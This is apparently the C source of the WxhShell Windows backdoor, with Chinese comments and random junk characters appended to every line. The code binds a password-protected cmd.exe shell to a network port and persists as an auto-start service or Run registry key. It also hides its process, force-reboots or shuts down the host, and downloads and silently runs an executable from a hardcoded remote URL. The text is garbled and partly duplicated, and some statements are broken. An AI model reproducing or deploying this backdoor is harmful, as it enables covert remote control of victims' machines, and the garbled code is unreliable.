    else { I-Q@v`  
    closesocket(wsh); [J!jp& o  
    ExitThread(0); 0Wkk$0h9  
    } tq$L* ++O  
    break; qPQ6`rD\  
    } &u+l`F^Z  
  // 获取shell =y^`yv 3  
  case 's': { 8NnGN(a*D  
    CmdShell(wsh); *c<6 Er>s  
    closesocket(wsh); jlxY|;gZ-0  
    ExitThread(0); dvAG}<  
    break; g ?.y7!m  
  } =cR"_Z[8X  
  // 退出 ObPXVqG"?  
  case 'x': { pKtN$Fd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '\O[j*h^.  
    CloseIt(wsh); )-\C{>  
    break; K<rv|bJ  
    } : E`78  
  // 离开 $fCKK&Wy  
  case 'q': { l"zA~W/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u{-@,-{  
    closesocket(wsh); {j6$'v)0  
    WSACleanup(); 2U|"]tpM&  
    exit(1); -aq3Lqi  
    break; "4IrW6B $9  
        } F;bkV}^  
  } ^IgQI N  
  } "XQ3mi`y  
(#?O3z1@"  
  // 提示信息 0QP=$X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /3#h]5Y"T  
} .mHVJ5^:4\  
  } sYhHh$mwA  
2`^6``  
  return; 6gabnW3  
} U!{~L$S  
3$?nzKTW\  
// shell模块句柄 p()q)P  
int CmdShell(SOCKET sock) !gJTKQX4  
{ -9~$Ll+2h  
STARTUPINFO si; !1ZItJ74#  
ZeroMemory(&si,sizeof(si)); {)iiu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mGDy3R90  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &q&~&j'[  
PROCESS_INFORMATION ProcessInfo; #zv&h`gY  
char cmdline[]="cmd";  ,)uW`7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \2!.  
  return 0; ]x).C[^  
} b*W,8HF4,  
LF `]=.Q  
// 自身启动模式 x+DETRLP  
int StartFromService(void) V?Q45t Ae  
{ ])G| U A.  
typedef struct =;GmLi3A  
{ =jKu=!QPq  
  DWORD ExitStatus; ZeY|JH1  
  DWORD PebBaseAddress; dWi< U4  
  DWORD AffinityMask; "@5qjLz]  
  DWORD BasePriority; w:9`R<L  
  ULONG UniqueProcessId; ^62z\Y  
  ULONG InheritedFromUniqueProcessId; ]&;In,z  
}   PROCESS_BASIC_INFORMATION; }9^'etD  
Ie K+  
PROCNTQSIP NtQueryInformationProcess; |Eh2#K0x4G  
TV0sxod6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mZXtHFMu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *|j4>W\J  
O8A(OfX  
  HANDLE             hProcess; Wuo:PX'/9  
  PROCESS_BASIC_INFORMATION pbi; R:(i}g<3  
pacD7'1{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l]~9BPsR  
  if(NULL == hInst ) return 0; $&qLr KJ  
3.Yg3&"Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N34-z|"q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N@O e[X8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j!kJ@lbP  
pouXt-%2X  
  if (!NtQueryInformationProcess) return 0; 2@?X>,  
[E%g3>/mt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FfxD=\  
  if(!hProcess) return 0; !Y r9N4  
?{}P#sn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TDbSK&w :s  
O9-`e  
  CloseHandle(hProcess); <"6\\#}VG  
h)fsLzn]Tf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "f<gZsb  
if(hProcess==NULL) return 0; wsQ],ZE  
D vvi)/<  
HMODULE hMod; l5=ih9u  
char procName[255]; _&\'Va$  
unsigned long cbNeeded; ?%su?L  
UCjx   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rM,f7hm[S*  
uYWgNNxdmo  
  CloseHandle(hProcess); U^|T{g+O  
Cse`MP  
if(strstr(procName,"services")) return 1; // 以服务启动 ja~Dp5  
G u_\ySV/y  
  return 0; // 注册表启动 +6l#hO7h  
} %7 yQ0'P  
4h_YVG]ur  
// 主模块 EI*~VFx  
int StartWxhshell(LPSTR lpCmdLine) Q0Do B  
{ J5F@<vi  
  SOCKET wsl; sbX7VfAR`  
BOOL val=TRUE; ,SNrcwv  
  int port=0; [e ztu9  
  struct sockaddr_in door; LxGD=b  
VD@$y^!H  
  if(wscfg.ws_autoins) Install(); {]8|\CcY?  
7gV9m9#  
port=atoi(lpCmdLine); ilVi  
~Gmt,l! b  
if(port<=0) port=wscfg.ws_port; yA"?Hv\o;  
{DKZ ~  
  WSADATA data; Xe_djy'8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z9OpMA  
-6I*k |%8T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1U.X[}e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =bja\r{  
  door.sin_family = AF_INET; J ;z`bk^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w0Nm.=I-   
  door.sin_port = htons(port); ^7? WR?!  
/ [49iIzC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ps:`rVQ7  
closesocket(wsl); 4v _Hh<%  
return 1; ;SjNZi)4d  
} VVAcbAGJ  
 )sdHJ  
  if(listen(wsl,2) == INVALID_SOCKET) { :x[()J~N  
closesocket(wsl); L[9Kh&c  
return 1; $.$nv~f  
} h9im S\gfr  
  Wxhshell(wsl); a}f /<-L  
  WSACleanup(); {_*G"A 9  
sT!?nn3O`  
return 0; <yEApWd;  
~' 955fK>  
} |hi,]D^Kc  
:vEfJSA 1<  
// 以NT服务方式启动 i}C%8} %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y7!&  
{ 'v0rnIsI?  
DWORD   status = 0; uQn1kI[y  
  DWORD   specificError = 0xfffffff; Rzs u 7w  
C@:X9NU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e4Qjx*[G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z\UXn RL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VK*`&D<P  
  serviceStatus.dwWin32ExitCode     = 0; *tRsm"}  
  serviceStatus.dwServiceSpecificExitCode = 0; <Fx%P:d  
  serviceStatus.dwCheckPoint       = 0; CEw%_U@8  
  serviceStatus.dwWaitHint       = 0; #prYZcHv:_  
2 yANf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3V^5 4_  
  if (hServiceStatusHandle==0) return; }AB_i'C0  
o^(I+<el  
status = GetLastError(); )7+z/y+[n  
  if (status!=NO_ERROR) 6XZjZ*)W  
{ LVdR,'lS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6S{F4v2/0  
    serviceStatus.dwCheckPoint       = 0; <>f;g "qS  
    serviceStatus.dwWaitHint       = 0; k= 9+"4:  
    serviceStatus.dwWin32ExitCode     = status; 2!W[ff@~7  
    serviceStatus.dwServiceSpecificExitCode = specificError; -?1R l:rM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .s4v*bng  
    return; +UX~'t_'v  
  } R6Md_t\  
>2),HZp^I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 73'AQ")UJ  
  serviceStatus.dwCheckPoint       = 0; wY%t# [T3  
  serviceStatus.dwWaitHint       = 0; m6K7D([f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pRE^; 4}z  
} U" 3L  
C<T6l'S{?  
// 处理NT服务事件,比如:启动、停止 b|Ge#o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ev3'EA~`  
{ ,aS+RJNM  
switch(fdwControl) {4/*2IRN9h  
{ kjsj~jwvv  
case SERVICE_CONTROL_STOP: `~VL&o1>  
  serviceStatus.dwWin32ExitCode = 0; 3 i>NKS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )jUPMIo  
  serviceStatus.dwCheckPoint   = 0; cc`u{F9  
  serviceStatus.dwWaitHint     = 0; - uO(qUa#  
  { F{Yr8(UHA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n<FUaR>q}  
  } G;wh).jG5  
  return; : 4-pnn  
case SERVICE_CONTROL_PAUSE: nr&|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;3& wO~lW  
  break; ONpvx5'#  
case SERVICE_CONTROL_CONTINUE: Ce}m$k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #l-zY}&  
  break; 4:O.x#p  
case SERVICE_CONTROL_INTERROGATE: WEG!;XZ  
  break; dD39?K/  
}; 37 ?X@@Z=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <v_Wh@m  
} Lh-Y5(c o  
%qeNC\6N  
// 标准应用程序主函数 WnOYU9 ;%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?G!p4u?C  
{ #pW!(tfN^a  
GJE+sqMX1  
// 获取操作系统版本 Df2$2VU  
OsIsNt=GetOsVer(); L$!2<eK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0d:t=LKw)  
@sZ' --Y  
  // 从命令行安装 %1GKN|7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9)=bBQyr:  
=I&BO[d  
  // 下载执行文件 K+L9cv4 |*  
if(wscfg.ws_downexe) { RHvK Wt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zd$iD i($  
  WinExec(wscfg.ws_filenam,SW_HIDE); x+%> 2qgj"  
} !P=L0A`  
V^n=@CZT9C  
if(!OsIsNt) { 4~oRcO8!Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 !,b&e  
HideProc(); /&@q*L  
StartWxhshell(lpCmdLine); $5\sV48f  
} 5BLBcw\;  
else m`xYd  
  if(StartFromService()) =\i%,YY  
  // 以服务方式启动 2t?>0)*m  
  StartServiceCtrlDispatcher(DispatchTable); 0/z$W.!  
else +m~3InWq  
  // 普通方式启动 9 MQwc  
  StartWxhshell(lpCmdLine); U F89gG4  
,}>b\(Lk  
return 0; 7N vRZ!  
} L KZ<\% X  
&i`(y>\  
A+\rGVNH'S  
pD~."fb  
=========================================== ] ONmWo77o  
.]<iRf[\[  
Yyw3+3  
4/S3hH  
fv* $=m  
,CqGO %DY  
" _IxYnm`pc  
K^b'<} $|p  
#include <stdio.h> 7o*~zDh@fH  
#include <string.h> (X2[}K  
#include <windows.h> !{g>g%2!  
#include <winsock2.h> r=RiuxxTq  
#include <winsvc.h> ka_R|x G\  
#include <urlmon.h> 4~nf~  
v.,D,6qZ  
#pragma comment (lib, "Ws2_32.lib") CzDg?wb  
#pragma comment (lib, "urlmon.lib") 3|URlz  
2j{T8F\]  
#define MAX_USER   100 // 最大客户端连接数 ,n>K$  
#define BUF_SOCK   200 // sock buffer SU~ljAF4  
#define KEY_BUFF   255 // 输入 buffer 1dy"  
pYUQSsqC  
#define REBOOT     0   // 重启 mD?={*7%  
#define SHUTDOWN   1   // 关机 N{Pa&/V  
.=Uu{F  
#define DEF_PORT   5000 // 监听端口 b'`C<Rk  
[ 4PiQyr  
#define REG_LEN     16   // 注册表键长度 >#.du}t  
#define SVC_LEN     80   // NT服务名长度 b0N7[M1Xl  
A- #c1KU!  
// 从dll定义API UH5A;SrTqR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qUQP.4Z95  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q$yQ^ mG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  bWZzb&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wu} Zu  
OeQ~g-n  
// wxhshell配置信息 Fj&8wZ)v)  
struct WSCFG { *44E'Dxv  
  int ws_port;         // 监听端口 xu'b@G}12  
  char ws_passstr[REG_LEN]; // 口令 5~i}!n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'H1k  
  char ws_regname[REG_LEN]; // 注册表键名 }$3pS:_N~  
  char ws_svcname[REG_LEN]; // 服务名 =u5( zaBe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `;s#/`c|/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &w^:nVgl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =MmAnjo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {-)I2GJav  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aSfAu!j)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _U~~[I  
% )}rQqQ  
}; !~}@Eoii4  
A=wh&X  
// default Wxhshell configuration <EuS6Pg  
struct WSCFG wscfg={DEF_PORT, A] f^9F@  
    "xuhuanlingzhe", 6lQP+! EF  
    1, $ 3.Y2&$T  
    "Wxhshell", M{XBmDfN  
    "Wxhshell", LH q~`  
            "WxhShell Service", VzuU 0  
    "Wrsky Windows CmdShell Service", >Qs{LEsLb  
    "Please Input Your Password: ", }I~)o!N%7  
  1, TA"gU8YQ  
  "http://www.wrsky.com/wxhshell.exe", FBA th !E  
  "Wxhshell.exe" /t _QA  
    }; #nS crs@  
S@WT;Q2Z  
// 消息定义模块 AhNz[A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3'tq`t:SQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %Lfy!]Ru  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aydf# [F  
char *msg_ws_ext="\n\rExit."; Q.l3F3;  
char *msg_ws_end="\n\rQuit."; EzXi*/  
char *msg_ws_boot="\n\rReboot..."; -N1X=4/fg  
char *msg_ws_poff="\n\rShutdown..."; \|R\pS}4  
char *msg_ws_down="\n\rSave to "; slG%o5|m  
XWUi_{zn  
char *msg_ws_err="\n\rErr!"; Xcci)",!  
char *msg_ws_ok="\n\rOK!"; 3 E!F8GZ  
-) !;45  
char ExeFile[MAX_PATH]; n wO5<b;  
int nUser = 0; ^-qz!ib  
HANDLE handles[MAX_USER]; Mdy4H[Odq  
int OsIsNt; m=D9V-P  
qGECw#  
SERVICE_STATUS       serviceStatus; [}?E,1Q3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G8Zl[8  
-y8> c0u  
// 函数声明 NV;T*I8O  
int Install(void); NrfAr}v'E  
int Uninstall(void); O|0,= 5  
int DownloadFile(char *sURL, SOCKET wsh); Z" dU$ ,n  
int Boot(int flag); qXB5wDJg  
void HideProc(void); E5t /-4  
int GetOsVer(void); (*V:{_r  
int Wxhshell(SOCKET wsl); 2%~+c|TH.)  
void TalkWithClient(void *cs); %[k"A  
int CmdShell(SOCKET sock); OBnvY2)Ri  
int StartFromService(void); @BI;H V%k  
int StartWxhshell(LPSTR lpCmdLine); G5!!^p~  
@6{F4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m/ngPeZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HXQ } B$V  
q$jwH] .  
// 数据结构和表定义 E#c9n%E\sz  
SERVICE_TABLE_ENTRY DispatchTable[] = \NQ[w7  
{ +pbP;zu  
{wscfg.ws_svcname, NTServiceMain}, Q `z2SYz>  
{NULL, NULL} Z>ztFU  
}; ZtX \E+mC  
[ lE^0_+  
// 自我安装 QTjnXg?Ri  
int Install(void) (4FZK7Fm  
{ 4+F@BxpB  
  char svExeFile[MAX_PATH]; C@@PLsMg  
  HKEY key; e@g=wN"@  
  strcpy(svExeFile,ExeFile); Ny]]L  
>\!k~Zi  
// 如果是win9x系统,修改注册表设为自启动 921s'"  
if(!OsIsNt) { d"}lh:L9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZKVM9ofXRi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XZj3x',;  
  RegCloseKey(key); 6Bn}W ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {5JYu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eg$Er*)h8  
  RegCloseKey(key); dX DuO  
  return 0; s"X0Jx}  
    } cp4~`X  
  } L:Me  
} q`HK4~i,  
else { - *xn`DH  
"tmr s_~  
// 如果是NT以上系统,安装为系统服务 .zvvk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OQ4rJ#b  
if (schSCManager!=0) [m9=e-KS$Q  
{ /X?%K't2r  
  SC_HANDLE schService = CreateService Q-||A  
  ( py9`q7F  
  schSCManager, j]6YLM@5$  
  wscfg.ws_svcname, U sV?}  
  wscfg.ws_svcdisp, j +Ro?  
  SERVICE_ALL_ACCESS, |6~ Kin  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dos';9Uq  
  SERVICE_AUTO_START, uEyus96 +  
  SERVICE_ERROR_NORMAL, 2z9N/SyN  
  svExeFile, /rv=ml pRL  
  NULL, aTE;Gy,W  
  NULL, Enqs|fkbN  
  NULL, &P gk$e%>  
  NULL, j15t8du&O  
  NULL /^,/o  
  ); y@dTdR2Wc  
  if (schService!=0) _j|U>s   
  { 8lF:70wia  
  CloseServiceHandle(schService); 6R!AIOD>  
  CloseServiceHandle(schSCManager); S|T*-?|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6o]>lQ}  
  strcat(svExeFile,wscfg.ws_svcname); i^V3u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +$B#] ,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QVWUm!  
  RegCloseKey(key); S5wkBdr{  
  return 0; &dJ\}O[r  
    } &(~"OD  
  } l"9$lF}  
  CloseServiceHandle(schSCManager); "mAMfV0  
} \w2X.2b.F  
} rqhRrG{L|&  
;ZR^9%+y9  
return 1; W";Po)YC  
} {AAi x  
` NWmwmWB"  
// 自我卸载 >RKepV(X7  
int Uninstall(void) 9a{9|p>L  
{ n$ZxN"q <  
  HKEY key; NucLf6  
N1X;&qZDd  
if(!OsIsNt) { =+VI{~.|}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c.h_&~0qf  
  RegDeleteValue(key,wscfg.ws_regname); q:G3y[ P  
  RegCloseKey(key); ~{!,ZnO*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0ZtH  
  RegDeleteValue(key,wscfg.ws_regname); ]VK9d;0D  
  RegCloseKey(key); 5S&^mj-9  
  return 0; LH>h]OTQF  
  } ^tl&FWF  
} kk+:y{0V  
} D0 rqte  
else { #oEq)Vq>g|  
$ Bdxu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *ZF:LOnU  
if (schSCManager!=0) jx8hh}C  
{ U<U?&hB\@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T%1Kh'92  
  if (schService!=0) KPI[{T\`ZM  
  { rvBKJ!b0  
  if(DeleteService(schService)!=0) { =8x-+u5}rK  
  CloseServiceHandle(schService); 30L/-+r1  
  CloseServiceHandle(schSCManager); X*rB`M7,  
  return 0; X$ 76#x  
  } k1M?6TW&  
  CloseServiceHandle(schService); 9XW[NY#)#  
  } szD BfGd%j  
  CloseServiceHandle(schSCManager); ceNJXK  
} v{TISgZ  
} pt8#cU\  
K@;ls  
return 1; f{f|frs  
} > V%3w7  
BG2Z'WOH  
// 从指定url下载文件 T eBJ  
int DownloadFile(char *sURL, SOCKET wsh) ]e]hA@4  
{ _CXXgF[OCA  
  HRESULT hr; DqlspT  
char seps[]= "/"; iVb#X#  
char *token; ?[S{kMb2  
char *file; S:xG:[N@  
char myURL[MAX_PATH]; ut;KphvSH  
char myFILE[MAX_PATH]; R3} Z"  
qAR}D~t  
strcpy(myURL,sURL); 4p_@f^v~QH  
  token=strtok(myURL,seps); %TRH,-@3h  
  while(token!=NULL) iC\t@BVS  
  { t&Z:G<;  
    file=token; 7(bE;(4  
  token=strtok(NULL,seps); vxx7aPjC  
  } sBD\;\I  
YfOO]{x,X  
GetCurrentDirectory(MAX_PATH,myFILE); E| =~rIKN  
strcat(myFILE, "\\"); {"w4+m~+te  
strcat(myFILE, file); |p{FSS  
  send(wsh,myFILE,strlen(myFILE),0); pM'AhzS  
send(wsh,"...",3,0); OQZ\/~o 5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gEQevy`T%c  
  if(hr==S_OK) IOi6' 1l  
return 0; 80qe5WC.2u  
else ;R.l?Bg  
return 1; WgQ6EV`  
dLI`\e<r&[  
} eA(c{  
Q!dNJQpb  
// 系统电源模块 1u0 NG)*f  
int Boot(int flag) f; 1C)  
{ S  H5G  
  HANDLE hToken; 1p9+c~4l:  
  TOKEN_PRIVILEGES tkp; z!6:Dt6^  
y*5bF 0  
  if(OsIsNt) { -N[Q*;h|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sS|N.2*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y}bE'Od  
    tkp.PrivilegeCount = 1; |%~sU,Y\(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0jN?5j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e.IKmH]z  
if(flag==REBOOT) { p4OiCAW;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P$=Y5   
  return 0; `?ijKZ}y5  
} 2!35Tj"RFE  
else { r%/*,lLO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |VL(#U  
  return 0; G:2m)0bW  
} f}c z_"o4  
  } w&7-:."1i  
  else { R)w|bpW  
if(flag==REBOOT) { HwH Wi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iZ3%'~K<3J  
  return 0; nVC:5ie  
} -B-nTS`  
else { .hxcx>%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *SX'Or,  
  return 0; 9s-op:5  
} xED`8PCfu  
} -/.Xf<y58  
})R8VJ&C/  
return 1; t1)b26;  
} 0NB6S&lI^k  
XACbDKyS  
// win9x进程隐藏模块 =;/4j'1}9  
void HideProc(void) G w$sL&1m\  
{ F-)lRGw  
3 G?^/nB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;u'mSJI'  
  if ( hKernel != NULL ) `A)9   
  { [UVxtMJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V6,D~7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q)c $^YsI  
    FreeLibrary(hKernel); xP.B,1\X  
  } U/2g N H  
}*~EA=YN;  
return; oVsj Q  
} 6EhRCl  
)*I=>v.Jq  
// 获取操作系统版本 66?!"w  
int GetOsVer(void) @+ VvZc2Y  
{ !<!sB)  
  OSVERSIONINFO winfo; h94SLj]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )>atoA  
  GetVersionEx(&winfo); -&#L4AM%(9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G qI^$5?  
  return 1; :z%vNKy1  
  else FDaHsiI:  
  return 0; =z]&E 78Y  
} zYdSg<[^  
CJ_X:Frj)  
// 客户端句柄模块 #D3e\(  
int Wxhshell(SOCKET wsl) ~1pJQ)!zlq  
{ i+yqsYKO  
  SOCKET wsh; PNXZ3:W  
  struct sockaddr_in client; hi>Ii2T  
  DWORD myID; |EaGKC(   
UM7Ft"  
  while(nUser<MAX_USER) !%NxSJ  
{ g*ES[JJH&  
  int nSize=sizeof(client); rd\mFz-SB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;h_"5/#  
  if(wsh==INVALID_SOCKET) return 1; 9u1)Kr=e  
n<Z;Xh~F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ={b/s31H:  
if(handles[nUser]==0) M|FwYF^  
  closesocket(wsh); x;LyR  
else AqvRzi(Y  
  nUser++; BD,JBu]  
  } ?]f+)tCMs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B4R!V!Z*  
kR6rf_-[  
  return 0; e%N\Pshgv  
} Es zwg  
_< 69d  
// 关闭 socket @y->4`N  
void CloseIt(SOCKET wsh) a2UER1Yp"  
{ 4r-jpVN~  
closesocket(wsh); WDKj)f9cy  
nUser--; HGB96,o f9  
ExitThread(0); ]1%H.pF  
} A) p}AEBc  
mT5d[lz  
// 客户端请求句柄 Y:G6Nd VFM  
void TalkWithClient(void *cs) v*QobI  
{ 1QE-[|  
s>~!r.GC  
  SOCKET wsh=(SOCKET)cs; y ']>J+b0  
  char pwd[SVC_LEN]; !li Q;R&  
  char cmd[KEY_BUFF]; X6!u(plVQ  
char chr[1]; q>r9ooN  
int i,j; Pp:(PoH  
DkA cT[  
  while (nUser < MAX_USER) { d4[M{LSl  
R8Lp8!F'  
if(wscfg.ws_passstr) { i+Px &9o<9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =nA;,9%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C#p$YQf  
  //ZeroMemory(pwd,KEY_BUFF); U{h5uezD  
      i=0; <y6M@(b  
  while(i<SVC_LEN) { ?nB).fc  
 ,L\OhT  
  // 设置超时 n O$(\ z)  
  fd_set FdRead; 4Me*QYD  
  struct timeval TimeOut; Bca\grA  
  FD_ZERO(&FdRead); 8G1Tpn  
  FD_SET(wsh,&FdRead); ]Tf.KUm  
  TimeOut.tv_sec=8; D^04b< O<x  
  TimeOut.tv_usec=0; 7zVaj"N(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \UGs_5OT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hqFK2 lR  
%$Wt"~WE"O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aQMET~A:  
  pwd=chr[0]; bh6Mh< +  
  if(chr[0]==0xd || chr[0]==0xa) { _V1O =iu-  
  pwd=0; b@Ik c<  
  break; 6t *pV [  
  } -/B}XN W  
  i++; CP|N2rb  
    } "\vEi &C  
5sM-E>8G^{  
  // 如果是非法用户,关闭 socket IpoZ6DB$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |Ag~k? QC  
} 7sC$hm]  
&rorBD 5aj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7X2g"2\Wm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;q6: *H/  
2l{g$44  
while(1) { 2!-ZNd:(+  
LP7t*}PK  
  ZeroMemory(cmd,KEY_BUFF); C=h$8Q  
Dsm_T1X  
      // 自动支持客户端 telnet标准   O:+#k-?  
  j=0; <3LyNG.  
  while(j<KEY_BUFF) { KU"? ZI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y!1%Kqx1,n  
  cmd[j]=chr[0]; l-XiQ#-{  
  if(chr[0]==0xa || chr[0]==0xd) { {uL<$;#i  
  cmd[j]=0; :7e2O!zH_  
  break;  ;B^G<  
  } H"WkyvqXb  
  j++; 82YTd(yB  
    } $s/N;E!t  
9-Ikd>9  
  // 下载文件 0J7[n*~  
  if(strstr(cmd,"http://")) { 4G;+ETp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f%an<>j^w  
  if(DownloadFile(cmd,wsh)) uPsn~>(4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a/NmM)  
  else DCPK1ql  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KCe =$  
  } xA`Q4"[I  
  else { )V!9&  
X'TQtI  
    switch(cmd[0]) { O9r3^y\>I  
